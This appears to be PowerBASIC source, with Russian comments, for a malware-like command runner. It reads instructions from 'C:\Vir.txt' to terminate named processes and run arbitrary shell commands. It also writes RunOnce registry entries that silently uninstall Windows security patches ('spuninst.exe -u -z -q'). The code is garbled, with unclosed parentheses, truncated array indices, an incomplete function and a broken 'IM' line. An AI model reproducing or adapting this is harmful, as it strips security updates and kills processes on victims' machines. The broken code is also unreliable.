DECLARE FUNCTION ReplaceStr$ (FullString$, str1$, str2$)
FUNCTION PBMAIN () AS LONG
'gOTO 1
OPEN "C:\1.bat" FOR OUTPUT AS #1
PRINT #1,"set > C:\1.tmp"
PRINT #1,"exit"
CLOSE #1
DIM ProgID AS DWORD
ProgID= SHELL ("C:\1.bat"
GOTO 666
CLOSE
666:
OPEN "C:\1.tmp" FOR INPUT AS #1
DO WHILE NOT EOF(1)
LINE INPUT #1, s$
param$ = "SYSTEMROOT="
IF LEFT$(s$, LEN(param$)) = param$ THEN
WinDir$ = MID$(s$, LEN(param$) + 1, LEN(s$))
END IF
param$ = "PROGRAMFILES="
IF LEFT$(s$, LEN(param$)) = param$ THEN
ProgFiles$ = MID$(s$, LEN(param$) + 1, LEN(s$))
END IF
param$ = "TEMP="
IF LEFT$(s$, LEN(param$)) = param$ THEN
TempDir$ = MID$(s$, LEN(param$) + 1, LEN(s$))
END IF
param$ = "USERNAME="
IF LEFT$(s$, LEN(param$)) = param$ THEN
UserName$ = MID$(s$, LEN(param$) + 1, LEN(s$))
END IF
param$ = "USERPROFILE="
IF LEFT$(s$, LEN(param$)) = param$ THEN
UserProFile$ = MID$(s$, LEN(param$) + 1, LEN(s$))
END IF
LOOP
CLOSE #1
KILL "C:\1.tmp"
1:
DIM KillUpDate$(20)
ON ERROR GOTO noFileVIR
OPEN "C:\Vir.txt" FOR INPUT AS #1
DO WHILE NOT EOF(1)
LINE INPUT #1, s$
param$ = "KillProc "
IF LCASE$(LEFT$(s$, LEN(param$))) = LCASE$(param$) THEN
KillProc$ = LCASE$(MID$(s$, LEN(param$) + 1, LEN(s$)))
'SHELL "taskkill /F /IM " + KillProc$ + " /T" '<< Это в прошлом
CALL KillProcByName (BYCOPY KillProc$) '<< Теперь я жёсткий :D
GOTO nextStr1
END IF
param$ = "Sleep "
IF LCASE$(LEFT$(s$, LEN(param$))) = LCASE$(param$) THEN
Sl$ = LCASE$(MID$(s$, LEN(param$) + 1, LEN(s$)))
SLEEP VAL(Sl$)
GOTO nextStr1
END IF
param$ = "OS SHELL: "
IF LCASE$(LEFT$(s$, LEN(param$))) = LCASE$(param$) THEN
S$ = LCASE$(MID$(s$, LEN(param$) + 1, LEN(s$)))
OPEN "C:\2.bat" FOR OUTPUT AS #2
PRINT #2,s$
CLOSE #2
SHELL "C:\2.bat"
GOTO nextStr1
END IF
param$ = "UnInstal_UpDate "
IF LCASE$(LEFT$(s$, LEN(param$))) = LCASE$(param$) THEN
KillUpDate$(UpDateCount = LCASE$(MID$(s$, LEN(param$) + 1, LEN(s$)))
UpDateCount% = UpDateCount% + 1
GOTO nextStr1
END IF
SHELL s$
nextStr1:
LOOP
CLOSE #1
'Пишем в реестр удаление заплаток, номерки в массиве KillUpDate$
IF UpDateCount% <> 0 THEN
OPEN WinDir$ + "\tmp.reg" FOR OUTPUT AS #1
PRINT #1, "REGEDIT 4"
PRINT #1, ""
FOR i% = 0 TO UpDateCount%
NameZaplatki$ = KillUpDate$(i
IF RTRIM$(NameZaplatki$) = "" THEN GOTO nextStr2
PRINT #1, "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]"
pathUninstal$ = WinDir$ + "\$NtUninstall" + UCASE$(NameZaplatki$) + "$\spuninst\spuninst.exe -u -z -q"
pathUninstal$ = ReplaceStr$ (pathUninstal$, "\", "\\"
PRINT #1, CHR$(34) + "spuninst" + STR$(i + CHR$(34) + "=" + CHR$(34) + pathUninstal$ + CHR$(34)
PRINT #1, ""
PRINT #1, ""
nextStr2:
NEXT i%
CLOSE #1
SHELL "regedit /s " + WinDir$ + "\TMP.REG"
KILL WinDir$ + "\TMP.REG"
END IF
'===================================================================
FUNCTION ReplaceStr$ (FullString$, str1$, str2$)
FullString$ = FullString$ + " "
FOR sss% = 1 TO LEN(FullString$)
simv$ = MID$(FullString$, sss%, 1)
IF RIGHT$(s$, LEN(str1$)) = str1$ THEN
s$ = LEFT$(s$, LEN(s$) - LEN(str1$))
s$ = s$ + str2$
END IF
s$ = s$ + simv$
NEXT sss%
ReplaceStr$ = LEFT$(s$, LEN(s$) - 1)
END FUNCTION
'====================== Для удаления процесса ===========================
FUNCTION Spliting(BYREF inString AS ASCIIZ, BYREF sDelimeter AS STRING) AS STRING
LOCAL ub() AS STRING
IF LEN(inString) = 0& THEN EXIT FUNCTION
REDIM ub(0)
PARSE inString, ub(), sDelimeter
Spliting = ub(UBOUND(ub))
END FUNCTION
FUNCTION FillProcLst(BYREF outArray() AS PROCESSENTRY32) AS LONG
LOCAL hSnapshot AS LONG, cnt AS LONG, _
uProcess AS PROCESSENTRY32
hSnapshot = CreateToolhelp32Snapshot(%TH32CS_SNAPPROCESS, 0&
IF hSnapshot = &HFFFFFFFF THEN FillProcLst = &HFFFFFFFF: _
EXIT FUNCTION
SUB KillProcByPID(BYVAL ID AS LONG)
 IM hProcess AS LONG
hProcess = OpenProcess(&H1F0FFF, 1&, ID)
CALL TerminateProcess(hProcess, 0&
CALL CloseHandle(hProcess)
END SUB
SUB KillProcByName(BYREF szPrcName AS ASCIZ)
LOCAL i AS LONG, arr() AS PROCESSENTRY32
REDIM arr(0)
FOR i = 0 TO FillProcLst(arr())
IF szPrcName = arr(i).szExeFile THEN CALL KillProcByPID(arr(i).th32ProcessID)
NEXT
END SUB